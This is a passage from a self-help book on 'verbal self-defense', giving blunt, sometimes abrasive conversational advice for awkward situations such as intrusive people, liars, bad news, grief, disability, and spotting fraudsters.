repeat what they said. In doing so, you have just gained the upper hand! You have just put them on the
defensive in making them explain exactly what they mean by what they said.
Enjoy watching them sputter as they try to worm their way out of their sarcastic or lame comment, or tell you
that ever popular lie that they were “only kidding!” Yeah, sure! I don't think so!
Oh No! Tell Me This Is Just a Bad Dream!
You go to a fancy dinner party with a new date. Many important people with whom you do business and
socialize are there. You feel great until after you are seated for dinner and notice your piggish date with food
slopped all over his face and crumbs and stains all over his clothes, as he talks with his mouth full and both
elbows on the table to someone across the table. Moments later, you hear a shriek, which is really a laugh, as
the two or them laugh at a filthy joke they are telling to an obviously annoyed gentleman seated between them.
It's obvious that both of them are as drunk as skunks.
What do you say to the person who has embarrassed the daylights out of you because he is so out of control
(whether out of anger, medicine, or drugs)?
What do you say to the people who have observed your having the daylights being embarrassed out of you?
With regard to the first question, you always must keep a calm and collected tone. Speak to him in terms of
endearment by calling his name attached to “honey,” “darling,” “love,” or “baby.” This reassures him that he is
still liked in spite of himself and his bad behavior. It helps to calm him down.
In the second situation, what you say to those who observed the two people embarrass you is the following,

Page 273
“It's obvious they have a problem. I am going to try (keep trying) to get them some help.” Don't go on and on
about the specifics of what they did. Don't talk about other occurrences. Just say what I told you to say. Make it
short and sweet and go on to the next subject. Everyone knows what's going on, so you don't have to go into
great detail. Otherwise you are crossing over into the line of gossip.
Please, I Beg You, Please Don't Tell Them That!
What happens when someone you knew from the past (including a family member) or someone you may
currently know starts to repeat a really humiliating event from your past?
Stop them in their tracks! Don't let them continue. Erase it. Say they must be mistaken or are crazy (in fact,
they are absolutely crazy—crazy for bringing it up). If they persist, tell them they are insane. Talk over them.
Never admit it. Say it was someone else. It is not a lie. It was someone else. You aren't the same person you
were five years ago; you've changed completely.
There Are No Representatives in This House of Speakers!
What do you say to someone who has such a control issue that she takes it upon herself to speak on your
behalf, even if you are right in front of her? Well, first hear what she has to say about you, just to see if it
would be something that you would actually say. Then set the rules straight and do it quickly! Those rules are
that absolutely nobody speaks on your behalf! “You speak for yourself in the presence of others!”
How do you get this point across? Well, humor is always a good way, for starters. You can say something like
this. “You know, the last person who spoke on my behalf was my mother back when I was two years old and
really couldn't speak for myself.” Or you might want to say something like “I thought that only lawyers were
supposed to speak for you, and only when you pay them!” Be sure to smile and chuckle for added effect as you
make these quips. She should get the message.
However, there is always the chance that she won't get it. In that case, you might want to be more direct and
tell her politely, “I really appreciate your trying to help me get my point across, as I know that you are as
concerned about the matter as I am, but let me say what I have to.” Usually that will take care of everything.
If she still doesn't get it, and now you are convinced that she is definitely unconscious, you might want to
knock some consciousness into her brain by saying the following: “Thank you, but I
Page 274
don't need an advocate, I can speak for myself and I'm not invisible. I am here.” Or “I have a brain, my
faculties are together, and I am fully capable of speaking for myself, thank you.” If she persists, interrupt her
with the two words she probably hears most often: “SHUT UP!”
Hey! Butt Out!
When someone sticks her nose in your conversation and she has no business doing it, you can say the very
same sort of things that you said to those who speak on your behalf, only phrase it something like this: “You
must have a lot of time on your hands—otherwise you'd be living your own life.” You can go the polite and
kind route and say “Look, I know that you were probably just trying to be helpful, and I appreciate it, but I
really can handle this on my own.” If she continues to get involved, yell at her to “Get a life and get out of
mine!”
You're Really Nice After All!
Many times you will find yourself talking to someone you don't like—someone against whom you have many
prejudices. This is mainly due to someone trashing him. Someone told you all these horrific things about the
person, so you end up having an attitude towards him. You are abrupt and cold in your facial and body
language. People have told you such awful things about him, which of course you believed. Now that you spent
time talking with the person, you really like him. Your entire demeanor changes and he notices it. He mentions
it to you!
What do you say? Should you just be honest and admit that you had heard some not very pleasant things and
thought he was going to be a pain to work with? No. You just keep your mouth shut. Say something (which
isn't a lie) like “I wasn't really all there when I first met you.” It's true! You weren't all there. You had someone
else's mind in you—their opinions and values. Now that you got your mind back, you are all there! You learned
a valuable lesson and you learned it well.
Don't take anyone else's word for it! Make up your own mind!
You Said What About Me?
What do you do when you hear that someone has trashed you? It's the best scenario when you know that she
trashed you and she doesn't know that you know. Let's say you are at a social gathering or even in a work
situation. You go up to her and observe how she reacts to you. Is she standoffish? Super-friendly? Aloof?
Downright hostile? All of these actions tell you a great deal about her character. If you are near her in a workrelated
situation, try your best to sit or stand next to her.
Page 275
Make sure you look at her often and smile. This will make her very uncomfortable and feel very guilty
(providing she has a conscience) for what she said about you. Find an opportune moment, preferably if you can
get her alone for a moment, and break the news to her: “Hey, I hear you've been trashing me” or “I hear you've
said [such and such]; that's not very polite of you.” Watch her squirm. Watch her turn red. Watch her sputter
and stammer. If you want to resolve any misunderstandings because she might make a good business relation,
stick around. If not, adios ex-amigo!
Keep Your Opinions to Yourself!
There are people who are so nasty to be around. They make everyone feel uncomfortable because they are so
opinionated. While having an opinion is a good thing, having too much of an opinion and not listening to the
opinions of others is a bad thing. If someone is highly opinionated, you need to politely say “I appreciate your
opinion. I can understand your point of view. Here's another point of view. What do you think about it?”
If he cuts you off and won't let you speak, if he won't give you a chance to present your opinion or puts your
opinion down all the time, what you need to do is the following:
Put your hand out like a traffic cop would to stop traffic. If you are a woman, take out a mirror (a compact will
do). Show him his face in the mirror. If you don't have a mirror, find a mirror or say “Go to the nearest mirror,
and look in it.” Then add, “The person looking back at you is the only person to whom you can tell your
opinion, because he will always agree with you. You might as well carry a mirror around all the time and have
conversations with yourself.”
Are You Mute or Something?
Let's say you meet someone and he is not the talkative type. He is pretty reserved. He gives one- or two-word
answers. Talking to him is like pulling teeth. He doesn't reciprocate and ask you questions in return. He just sits
there waiting to be asked. He is boring. You sit in silence until you ask the next round of questions.
In order to get the conversation rolling you can try one of the following:
1. Ask him to ask you questions. Make it into a game. Have him ask you a question and then you ask him a
question.
2. Tell him to describe the best movie he ever saw or the best experience he had or the most fun he had or the
worst time he had. Just get him to say more than two words.
3. Tell him that you feel comfortable when people talk to you and that you would appreciate it if he could help
you feel comfortable.
4. Sit in silence too. Say nothing. See who cracks first!
5. LEAVE!
Page 276
Stop Kvetching Already!
After reading this book, you know what the word “kvetch” means. If people are always complaining to you,
after you have tried to be kind and loving and supportive and giving them all the attention you can muster, then
you need to refer them to others.
For example, if they complain about their aches and pains, say “See a doctor.” If they go into detail about how
bad they hurt, say “Call the doctor now.” If they continue, say “Let's call 911 and get an ambulance for you.”
What you say largely depends on what they complain about.
No matter what their complaint is, agree with them, take it to the extreme, and offer to take extreme measures
to rectify the problem as I just illustrated. They will always stop you and this will in turn stop them from
complaining—at least for a while. In essence, you are conditioning them to not complain, at least not to you!
Speaking in Different Languages
I give you a lot of credit for trying to communicate with someone who doesn't speak the same language as you.
I appreciate your attempts at gesturing to them and drawing pictures, pointing to objects and saying words in
their language. But please don't yell at them. They merely don't understand. They aren't deaf! Saying it louder
isn't going to make them better understand what you want to say.
Also, when you're attempting to speak their language, please make sure that you are familiar with key words
and gestures so that you do not embarrass yourself and

Page 277
inadvertently make some obscene gesture. If you make the American “okay” sign to a Brazilian, you have just
caused him to gasp by calling him an ugly word. And don't think you're safe just because a person from
England or Australia speaks English. He or she has a different set of gestures and rules that mean different
things as well. Saying the wrong word can really cause extreme embarrassment.
What Am I, a Bank?
Asking someone for money is one of the most invasive things a person can do. It can destroy friendships and
cause anger and resentment. You really find out a lot about a person and his character when it comes to money
matters. It can change and even end personal and business relationships. That's why we have business
managers, CPAs, and attorneys to handle money matters.
If people are bold enough to ask you for money, you have to be bold enough to ask them to sign a document
stating that the money is only a loan and that they will pay it back by a certain date. As obnoxious as you may
think it seems, ask them to leave something of value like a ring or a piece of jewelry, a stereo—anything as
collateral for the money. Otherwise, believe me, if they don't pay it back in time, you will be maaaaaad!
If they balk, blame it on past experience. You aren't lying. The past experience is what you read about in this
book. Too many of my clients lost too much money but when they held items hostage in return for the money,
they got repaid. If they start yelling at you and put you on the defensive, you can yell back “What do I look
like, a bank?”
What Part of the Word “No” Don't You Understand?
Many people are so persistent that they often persuade you into doing things you don't want to do—anything
from granting them a special favor to getting married! They do this by the Erosion Technique. It's the same one
little kids use when they badger their moms to buy them that certain toy or take them to Disneyland. Like a
broken record, they ask for it over and over and over and over again, never taking “no” for an answer and not
relenting until they finally get what they want!
Tactfully Telling Someone About Body Odor
If someone has bad body odor or bad breath, you have a choice. Either tell that person, or suffocate! It's up to
you! What you say depends upon who is doing the stinking! If it is your boss, you might want to say nothing,
but send an anonymous care package of mouthwash, toothpaste, soap, cologne, deodorant, and a toothbrush. If
it is someone whom you have to be around for a short period of time, who seems on the hostile or
unapproachable side, hold your breath, do your business, and run. If you need to be there a while, say “I don't
mean to offend or embarrass you, but I want to let you know that you have body odor (or bad breath), just in
case you have to get close to a
Page 278
lot of people today.” Just know that they might never speak to you after that and they might hate you because
of their embarrassment. But in the long run you might have done them the biggest favor. If it's a friend or a
lover or a family member, then you can go for it. Tell it like it is! But please be diplomatic!
Ask if maybe they ate something spicy or drank something to cause a heavy odor to come out from their pores.
If they deny it, ask if they used a certain cologne or soap. Hopefully, by now they will get the message. They
will see that you are trying to allow them to save face. By now they will have moved a few feet away from you
or have retreated to the bathroom to brush their teeth or wash up.
Someone Who Never Gets the Bill.
When you have been out to dinner with someone numerous times and he never picks up the bill or contributes
to the bill, speak up! Don't you dare let him get away with it! If you don't speak up then you deserve him taking
advantage of you! Don't let your anger stew and stew! It isn't going to do you any good unless you say
something.
Don't feel sorry for them because they can't afford it and then get upset when they don't reach for the bill. If
they truly can't afford it, then they shouldn't be going out to dinner with you in the first place. Of course there is
another group of people, many of them in the six- and seven-figure salary range, who are just plain cheap. Tell
them to pay up! Don't be so quick to reach for the bill or rescue them from embarrassment. Say, “You know I
always get the bill. Tonight, I'm gonna let you do it. Besides, I left my wallet at home.” If they say “So did I,”
say, “Well, I'll wait here while you go home and get your credit card.” If you live too far, get the waiter and be
assertive. Speak on your friend's behalf. Say “my friend left his card at home, and he's going to give you his
name and number and address and will call you tonight with the credit card number.” SHAME HIM INTO IT!
That will teach him! Of course you might never go out to dinner with him again.
Page 279
Page 281
Chapter 22
Verbal Self-Defense in More Difficult Situations
In Chapter 21, you learned what to say in sticky situations. In this chapter, you learn exactly what to say in
even stickier situations—circumstances where you face a major dilemma. In some cases you may be damned if
you do, and in other cases you may be damned if you don't. In any case, you have choices. You will learn
exactly what to say and how to say it in situations you may have pondered and, perhaps, even dreaded.
Breaking the Bad News
In the days of ancient civilizations, those messengers who were unlucky enough to deliver bad news (sent by,
perhaps, a neighboring king) were beheaded. Hence the expression “don't kill the messenger.” One of the worst
things in the world is to be the bearer of bad news. Even worse than that, of course, is to be the recipient of bad
news.
Being the bad news bearer is not a position you seek out. It seeks you out! It just happens! Suddenly, there you
are, in front of somebody you definitely don't want to be in front of, telling them something you definitely don't
want to tell them.
Page 282
Unless you are a therapist, physician, policeman, fireman, attorney, or minister, you probably are not trained in
how to tell others something horrible or tragic has happened.
Dropping the verbal bomb on someone doesn't always involve telling them that someone has been maimed,
fallen ill, or has died. It may involve firing someone, telling them they owe money, a relationship is over, or
even that you've found someone else in your life. No matter what the message is, it is devastating, agonizing,
and leaves the recipient in excruciating pain.
Thus, the messenger needs to break the news as gingerly as possible. Obviously you cannot be too blunt or
direct, no matter how nervous you are, just so you can get it over with and not have to deal with the aftermath
of emotion. Put yourself, your emotions, your fears, your hang-ups aside. Don't concern yourself with YOU for
now; think of THEM! Don't be afraid to touch them, put your arm around them, hold them, caress them, or
lightly massage their shoulder, back, or arm. Let them cry, scream, and wail. Don't say “please don't cry” or
“don't scream so loud.” Don't let their emotions affect you! Let them get all of their emotions out. Give them
the freedom and the opportunity to grieve any way they see fit!
As the bearer of the bad news, you, unlike the messenger of ancient times, will not literally get your head
chopped off—but it might be close. You need to prepare yourself for what's in store. Forewarned is forearmed.
The person might cry hysterically, to the point that they hyperventilate and faint. You might even have to
perform CPR or call 9ll or an ambulance. They might lash out at you and start hitting and punching at you
blindly.
You're Not the Only One!
Telling someone their spouse has cheated on them is one of the most awkward and difficult things to do,
because there's no way to anticipate in advance what is going on in the mind of the person who you think is
being cheated on. For one thing, she may have an open relationship where such behavior is tolerated, so the
information will not bother her, but you will have been upset with all the time you have spent trying
(unnecessarily) to spare her feelings. Or she may not care. Or she may be glad because she herself is cheating
or looking for an excuse to end the relationship. Or she may want to hurt or kill herself, her spouse, or the
“other woman.”
It is important to know for sure if you are going to reveal such information. How do you know that cheating
was really going on? Did some gossip tell you? Were you actually in the bed with them? Did the alleged other
woman or man spill the beans? If so, to whom did she spill them? To you? If so, are you justified telling this to
the other

Page 283
spouse? And even if the other woman did tell you about the alleged affair, maybe she knows what a gossiping
creep you are and just wanted to stir up a little trouble. As far as his admission, maybe he was just trying to
impress you with his sexual virility. You might be wise just to keep your mouth shut and mind your own
business in this case.
Wives and husbands often can tell whether their spouses have been true, so let them figure it out on their own.
Otherwise you risk being verbally beheaded and banished from someone's life. They will usually be too
embarrassed and the memory of the situation with be too painful a reminder for them to have you around
anymore.
On the other hand, if you don't listen to me and tell, just be prepared to handle them as you would anyone who
just found out they just lost a loved one and was beginning the grieving process.
Talking to the Grieving.
When talking to someone who is mourning the loss of a loved one, remember that you will be interacting with
them at various stages of their cycle of mourning. So they might be in their denial stage or “happy-go-lucky”
stage, where it seems as though they don't care at all that someone they were with for 25 years just dropped
dead. They are so cheery, making everyone coffee and serving cookies, handling out Kleenex and not shedding
a tear. You will obviously talk to them differently than when their wailing stage hits—a day, a month, two
years later.
You need to be tuned in and ready for anything. People grieve in different ways and for different reasons. Use
soft and tender tones. Say comforting but sincere things. Let the bereaved know you are there for them and
follow through on this! Be there when they call, even if it's 2 A.M.! They need you. You offered, so be there!
Dying with Love!
Perhaps the most difficult and heart-wrenching thing to do is talking to a person you know you will never see
again alive. Although approaches to dying are highly personal, based upon people's religious and philosophical
views, the commonality that embraces all humankind can be communicated through two modalities—sound
and touch.
With regard to sound, it is very important to complete your relationship with the person you will no longer
physically see. Through your voice, you must say everything you always wanted to, not holding back! If they
are lucid, you will have given one another a gift no amount of money could buy.

Page 284
Never overlook touch—it is one of the most powerful ways of communicating with the dying. We must hold
up the example of certain African tribes, where people gather their entire village together when a person is
about to die and take turns lovingly caressing, holding, hugging, cuddling, kissing, and massaging the person
until they pass in peace. We need to communicate this same attention to those who don't have much time left
on this earth.
Gotcha!
You caught someone in a lie. What do you do? It depends on what kind of lie and whom they were lying to. If
it was an exaggerated truth said in front a bunch of friends and colleagues to make them look good, who cares?
They tell you they made a six-figure income when they really made five. They tell you they went out with three
gorgeous women on vacation in St. Tropez, when in reality they didn't even have a date. They know they were
lying. You know they were lying. But most likely they don't know you know they were lying. As long as they
feel they boosted their self-esteem after telling their little white lies, who cares?
On the other hand, suppose someone is doing business with you or you are in any type of social relationship
with them (friendship or personal) and they are telling you a blatant lie. I say: BUST THEM! Who the person
is and what the lie is should decide what method you use to let them know you caught them. At first, try letting
them save face. Especially if you like them, smile, muster a little chuckle if you can, and say, “Come on—
what's the real deal?” Usually they will respond with their own humor, returning your laugh, and coming clean
with the truth.

Page 285
If they don't come clean, be more direct and serious. Confront them in a calm and civilized, non-accusatory
manner, beginning the sentence with “I don't feel comfortable…,” “It frustrates me that…,” “I have a gut
feeling…,” “I'm not going to hold it against you…,” “I'm not here to judge you…,” “I'm not gonna yell at
you…,” “We all make mistakes…,” or “Everyone slips up or does strange things once in a while….” You are
giving them a gracious way out. You are letting them off the hook, allowing them to comfortably admit what
they did with no severe repercussions from you.
Now, if they are cagey and still won't come clean, be blunt, bold, and insensitive. Don't worry about hurting
their feelings. They certainly don't care about yours! Say, “Look, I know you're lying to me. Just admit it!” Or,
“Why can't you just admit it? Stop lying! You are a liar! You are lying to me! Now admit it, if you have any
respect for our relationship!” Usually, if they have any conscience and are not pathological liars or sociopaths
or severely psychologically dysfunctional, they will admit it. If not, read on.
Liar, Liar, Pants on Fire! I'll Never Admit I'm a Liar!
We have all experienced firsthand the person who just can't tell the truth no matter what. They have all the
evidence staring them in the face, and guess what? They still lie! It's obvious that this person has some major
psychological problem they haven't yet dealt with.
You need to be direct and blunt and do so in an angry tone! This type of liar needs a lot of approval from
others. That's why they lie. They don't want to look bad in anyone's eyes. So you need to shake a dose of reality
into them. Look right at their face; give them an intense stare, because you do not break eye contact with them.
In a loud, firm, unwavering tone, say “You are a liar. I caught you. I have all the evidence you lied.”
Sweet Talkin' “Ear Candy”
While everyone loves to hear wonderful things about themselves, nobody likes to be manipulated or lied to,
especially about themselves. Nobody wants to hear sweet words—“ear candy”—when the person is really
saying those words with ulterior motives. They may say these sweet nothings (that is really what the words
mean—nothing!) to many different people. They might say these things just to get what they want from that
person. Their view: Give people a piece of “ear candy,” and they will do whatever you want—go to bed with
you, give you that job, give you gifts, anything your heart desires! Of course, the other person gets nothing in
return, only a lot of ear candy.

Page 286
Sexually and Racially Incorrect
When someone makes a racist or sexist remark in front of anyone, they are stupid for two reasons. The first is
the obvious. They are showing how ignorant and backward and insensitive they are. Secondly, they are literally
taking their lives in their own hands. People have been ostracized, families have been torn apart, people have
been jailed, and, unconscionably, even murdered in the name of racism and sexism, as our history books show.
This is not a joke.
Unfortunately, even in today's supposedly politically correct climate, many people are still not so politically
(racially and sexually) correct. Prejudicial comments and sexist comments still bounce about disguised as
humor. This should never be tolerated or condoned under any circumstance. If you are the target of such
remarks, how you respond depends on whether it is said in front of you or in back of you.
Please read this carefully. Do not, I repeat, DO NOT GET PHYSICALLY VIOLENT—ever! Verbally violent?
Well, that's another story, but physical violence is unacceptable.
If the comment was made behind your back, so much the better. Now you know who the clandestine enemy
really is. If the comment was made in front of you, especially if others were present, you have a number of
options, especially if someone was stupid enough to have made the comment at work. The repercussions—
legal and otherwise—are enormous, so you could say nothing and let it be handled by the powers that be. On
the other hand, if the comments were made socially or in other environments, here are some things you can say.
To a racist:
“Guess what? We're exactly the same color under our skin, we're both blood red.” If you really want to play
with their mind, agree with their racist joke. Chuckle and say “Yeah, those___people (the group they were
making fun, of which you are a member) sure are___(pejorative term). I'm sure glad you and I aren't one of
them!” You will leave them with their mouths hanging open, because you are obviously one of that group and
have been bold enough to let them see how obnoxious they are!
In response to a misogynist comment, ask “What century are you from?” or “If it weren't for us, there would be
no you.” You can also have some shocking fun! Let's say as a woman you hear an incredibly vulgar sexual putdown
regarding women. Obviously this man does not respect you as a woman, so you shouldn't think twice
about what you're about to do. Join in. Laugh real loud. They'll look at you strangely! Say “Yeah, those
women—they sure do have great___(compliment about one of their anatomical parts that the joke probably
referred to.) I liked it better when I was a man! I regret having that operation!” Watch them turn! Watch them
squirm!
Page 287
Come On! Just a Little Bite!
How appropriate that the word diet has the letters d-i-e in it, because you are dying to have something you
aren't supposed to eat. With all of the pressures surrounding you, you are a hero if you stick to your plan. You
certainly don't need anyone sabotaging your efforts, whether they mean to or not. Since it is so easy to give into
a persuasive food pusher, you really have to muster up all your verbal and vocal strength as you say a firm and
resonant “No, thank you!” If they insist, repeat “No, thank you!,” only this time in a louder and stronger voice.
If they still persist, say, “Look, I know you mean well, but I really cannot have any of this. I am under a strict
program and my health depends upon it. You wouldn't want to be responsible for sabotaging my health, would
you?” Most likely that will put a stop to it! Again, you haven't lied. Your health is in jeopardy. Besides the
physical problems often caused by being overweight, you have to consider your mental health as well. Often
people who are overweight are emotionally upset about it—otherwise, they would not be on a diet. People who
are overweight are usually unhappy about it. Why else would they be on a diet?
Enough About My Weight Already!
Why is everyone so concerned about everyone else's weight? We live in a society that is obsessed by how
much people weigh. How often have you run into a friend you haven't seen in a while and said, “Oh, you lost
weight!” Or turned to another person and said, “It looks like she put on weight!” There are even people who
will dare to ask, “Have you put on weight?”
If someone needs to lose weight, you don't need to say anything—believe me, they know it! They don't need
you to tell them. They have a mirror to do that. But what about if someone moans and groans about how fat
they are? What do you say? For starters, don't join their chorus. They can sing and groan it all they want to, but
if you do, watch out! They will never forgive you. Never! If you are the one someone told to lose weight, say
the following. “Why does my weight disturb you?”
That's My Friend You're Talking About!
What do you do if you're in a conversation and you overhear some people talking about another person who is
your friend? First, keep quiet and listen to everything they have to say so that you have the entire picture. You
may actually agree with them. You might want to join in and add to the conversation by providing a new and
different perspective. This might give them insight as to why your friend might have behaved or reacted the
way she did.

Page 288
On the other hand, if they have nothing good to say about your friend, and much of it is based on lies, you have
a responsibility as a true friend to stand up and defend! Say “Hey, that's my friend you're talking about!” If they
say “So what,” you may reply, “Well, I don't appreciate you talking about her that way!” If they are belligerent,
you are better off not getting into it with them. You don't want to have any bloodshed over this! The fact that
you defended your friend's honor is good enough. I will leave it up to you whether it's best to tell your friend
about the incident. You may help them in the long run, although at the moment you are probably going to hurt
their feelings.
You Don't Know What You're Talking About!
You have probably been in situations where someone is talking, but they really have no idea what they are
talking about, even though they insist that they do. They insist that they are right. They insist that you do it
their way. You know that if you do, you will have wasted a lot of time and money. But they are so stubborn,
they just won't budge, no matter how hard you try to convince them that their way is wrong. You try logic. You
write it down. You have all the evidence in the world. It doesn't matter. They are as stubborn as a mule. What
do you say?
First of all, it depends on who it is you are talking to. If it's your boss and they are paying for the mistake, let
them knock themselves out and go for it. If you have a lot invested in it, say the following, “You know, I really
respect you, and I am sure that you feel the same. We are obviously at an impasse. I am going my way, and I
know you will go yours for now. No hard feelings.”
Talking to Those with Speaking Challenges.
If you are dealing with a person who stutters or has any other type of speech impediment, the absolute worst
thing you can do is to finish a sentence for them, even if you are trying to be helpful.
As uncomfortable as it may be for you to watch them struggle, repeat sounds, contort their faces, and even in
some cases spray saliva, it is even more excruciating for them
Page 289
to have you speak on their behalf. (The exception is a stroke victim: You may be helping that person retrieve
certain words from his or her damaged memory.)
Therefore, you must be patient. Try not to look away, even though you may be feeling embarrassed. Always
keep in mind that they deserve to be treated with the same dignity and respect as you.
Talking to Those with Hearing Challenges
When speaking with the hearing-challenged, you obviously need to speak up, even if they are wearing
amplification devices—but DON'T YELL! This can cause distortion and a squealing sound in their hearing
device. Face them directly so that they can read your lips, and speak slowly so that they can try to understand
everything you say to them. DO NOT speak down to them or treat them as though they are mentally
challenged. Their intelligence has nothing to do with their hearing problem.
Talking to the Physically Challenged
Unless you have been exposed to many people with physical and mental challenges, you may well feel
uncomfortable talking with such people. The key thing to remember is to treat them with respect and never talk
down to them. The words of John Merrick, the Elephant Man, say it all: “I am not an animal—I am a man.”
Even though he was different, he was still a human being deserving of the respect of others.
The first thing to remember when you talk to anyone who is blind or paralyzed is never to yell at them or speak
loudly or slowly in simple childlike sentences. They are not deaf or mentally challenged. Indeed, those with
limitations such as blindness have often developed a sense of hearing much keener than that possessed by fully
sighted people. Talk to them like you would to anyone else.
Talking to the Mentally III
People with mental conditions are among the most difficult people to communicate with, because you never
know where they are coming from. Often you may think that a person is just being difficult or ornery, when in
fact that is only the tip of the iceberg. Some are very psychologically disturbed. Some may have mood swings,
going from elation to depression in a moment. Others may have sudden bursts of anger or impulsive behaviors
that make them do things on a whim. Still others have compulsive behaviors that result in certain rituals,
behaviors, or extreme irritation at certain things. And some sad cases are so out of touch with the real world
that they hear voices.

Page 290
Although people with mental conditions may be undergoing professional psychological treatment, there are
some things you can do to communicate with them more effectively. It is important to speak in soft, consistent
tones, try not to raise your voice. When you are explaining something or telling a story set limits and focus and
get to the point as soon as possible. Make sure you limit communication to only basic information and avoid
heavy, esoteric philosophical discussions.
No—Not You!
When you found out that someone you really liked or loved betrayed you, perhaps no words could express
what you were feeling. Perhaps they betrayed a confidence. Perhaps in a moment of anger they threw back at
you a confidence you shared only with them. You're numb! Speechless! You feel as though you got kicked in
the stomach!
What do you say? After all, what can you say when respect is lost? That's exactly what you say. “I can't believe
how I trusted you! This hurts me very deeply. Tell me how I can ever be able to trust you again. I am in a lot of
pain right now!”
The key here is to never keep it in! Let it out! Say everything that you are feeling in your heart! Cry! Feel the
pain! Speak the truth!
I Admit It! I Did It!
In our culture, the things we value above all else are honesty and integrity. We appreciate remorse. We are
quick to forgive. We open our hearts to those who can take an honest look at themselves and see what wrongs
they committed, admit them, and attempt to make them right. This is the basis of how we judge others and even
more important, how we judge ourselves.
Whether you are admitting you cheated, lied, or made a mistake, just remember that it takes a great deal of
character and inner strength to admit you are wrong, make an apology, and have remorse for what you did. It
takes an even stronger person to want to make amends for the situation. To admit you did something wrong,
the first step is to not think about the other person's reaction. They very well might hate you and want never to
deal with you again. But so what? You are a real person doing what you have to do. You came clean and you
are a better person for it. You learned, and you
Page 291
probably won't make the same mistake again. If they reject you, tell them you understand, as painful as it is,
and accept their verbal wrath. You've spoken your piece. You've admitted you're wrong. Let them vent!
Whatever happens now is in their hands!
Don't Judge a Book by Its Cover!
What do you say when someone underestimates you? This often happens when people have known you for a
long time. They don't realize that the soft spot in your brain has fused together since you were an infant, that
you made it through kindergarten and actually have a Ph.D. in physics. But it doesn't make a difference. To
them you will always be little Baby Jane, and babies don't have opinions. Let's say you are a female attorney
and a male attorney is prejudiced against you and doesn't take you seriously, even though you graduated
number one in your law school class from Harvard. Let's say you have a foreign accent. You are a highly
qualified American board-certified foreign-born physician, but a patient doesn't want you to touch him. He
thinks you don't know what you're doing. He underestimates you! What do you say?
First of all, you acknowledge their feelings. You embarrass them by busting open their prejudices so that
everything is out in the open. There is nothing to hide. Then tell them why you are qualified (for example, list
your credentials) and then ask if they will allow you to show them or help them.
For example, Jane says, “I know you still see me as little Baby Jane, but I have grown up, have a Ph.D. now,
and know I can help you in this community project. I have worked on one similar to this one in Boston and it
was very successful.”
The female attorney says, “I know that some male attorneys still have an issue with female attorneys. They
can't help it. I'm not making you wrong or putting you down. It may even be a natural competitive thing for
some people. Maybe it's a personal thing with me. In any event, I feel that there's a lot of tension between us.
All I want to do is contribute my expertise and do my best. If you are concerned about my abilities—I notice
you always contradict everything I say—let me say that I have a very open mind, I am highly adaptive, and I
learn fast. In fact, I graduated first in my class at Harvard. So let me help you help the company.
As for the physician, he needs to say the following. “I know that many people feel uncomfortable with foreign
doctors, especially doctors who come from my country, because my country is very poor. You might wonder
how a doctor from such a poor country came here to study. I've been in the
Page 292
United States for 20 years, I went to medical school here, where I also did my training. Now I am licensed in
cardiology and have a faculty position at New York University. If you would like to check my credentials, you
are free to call the medical board to verify what I am telling you.”
Even though this might seem like a lot of work, there are no secrets. These three people have said what the
others were thinking, so there were no “I think that you think” games, and everyone can get on with the
business at hand.
Page 293
Chapter 23
Verbal Self-Defense Can Save Your Life!
This is one of the most vital chapters in the book because it can literally make the difference between whether
you live or die! It tells you how to incorporate everything that you have learned thus far in the pages in this
book and use it to your verbal advantage.
Everyone should know the information in this chapter! The split-second decisions you make about the verbal
strategies you choose can change the course of your entire life within seconds! Although I cannot guarantee
that these verbal self-defense techniques are foolproof, I can assure you that they can help protect you in most
circumstances most of the time. You must be discriminating, cautious, aware, and alert, always using your own
good judgment, so that you can avoid situations that put you in jeopardy.
In this chapter, you learn how to be more conscious of being in potentially disastrous circumstances. You learn
how to possibly prevent disastrous consequences, from road rage, to being talked out of your life savings, to
being mugged or raped. I have provided you with some very effective weapons to defend yourself against
potential life-threatening situations. These weapons have saved the lives of others. Hopefully, you will never
have to use them. But read and take heed!
Page 294
Listen for Verbal Red Flags!
If you keep your mouth shut and really listen to what a person says, he will usually reveal just about everything
you need to know about him if not more. If you just remain silent, as difficult and as uncomfortable as it might
seem to you at first, you will be amazed at what you learn! You will clearly see who this person really is—not
who you want them to be. In fact, this is one of the first things those in the law enforcement field learn. When
interviewing, “Be quiet! Let them talk! They'll tell you what you need to know!”
When you keep your mind and ears open and pay close attention to everything the person says—every morsel
of sound, every joke, sneer, cough, and tone—you will save yourself a lot of grief, emotional torment, money,
and perhaps even your life. Let's say you are talking to someone you don't really know that well, or maybe just
met. Just by objectively observing how a person talks and what he talks about during the course of the
conversation, you can gain a lot of insight into his personality.
This happened with a client of mine. She met a business associate who talked about his wife ad nauseam and
could never answer questions without saying “we” (even when not appropriate). My client pegged him as being
henpecked. After finally meeting his wife, she learned she was correct. The moral of this story is that we know
these things. It's not our sixth sense—it's our ears. We listened between the lines!
What You Hear Is Not Always What You Get!
One day a great looking, Armani-clad, well manicured, great-smelling gentleman came into my office. He said
he was an “investor.” He was referred to me by a dear friend who swore by him. Even though his outward
image was a 10, upon listening to him, his inward image was beginning to drop into the 5 range. Being 100
percent alert to everything he said, I heard a lot of inconsistencies. He contradicted himself a lot. He lied about
his background. At first, he told me that at ten years old, his parents were killed, so he lived with his
grandmother, was dirt poor, grew up on the streets and made himself what he is today. Towards the end of our
conversation, he said he came from a wealthy family in Connecticut, where his parents still live. He also joked
a lot. When I asked him what it was that he as an investor actually did, he gave a hearty laugh and said in a
joking tone, “I take people's money and run.”
When my friend called me later to ask me what I thought of the “investor,” I said that I wouldn't trust him in a
million years. She got mad at me and told me I was stupid not to invest my money with him. After all, he was
so well respected; all these prominent people used his services. She said he was a great investor. I told her that
after
Page 295
listening to him, I thought he was a phony. He contradicted himself. And for someone who was supposed to be
so savvy in the financial word, why did he mispronounce so many big words?
My friend got mad at me and stopped talking to me, until two months later. Apparently, that man in whom she
had “invested” got “arrested!” He was a fraud! I knew it all along—just by listening carefully. I knew it by his
contradictory stories. His last comment—his “joke”—said it all. As Sigmund Freud said, “there are no jokes,
only truths.” How right he was! “I take people's money and run!” He definitely told the truth here! It is no joke
that he is doing time!
Listening Between the Lines.
When you listen between the lines, here are some things to watch for and what they mean:
• Sarcastic jokes that have a ring of truth to them. This is a subconscious desire to confess or to let you know
what is going on. The person is also testing you. By throwing out this comment, he is observing how you are
going to react if it were to happen. If you return his smile or chuckle, he regards you as “safe” and feels more
comfortable around you.
• Contradictory statements or inconsistencies. These are unconscious leaks in information, involving either
letting down or putting up his guard, depending upon what truth or lie he tells you during the conversation.
• Bursts of anger. The person is out of control and angry because he is on the defensive and doesn't want to be
found out.
• Going off on tangents. This is another diversionary tactic designed to distract the listeners in hopes that they
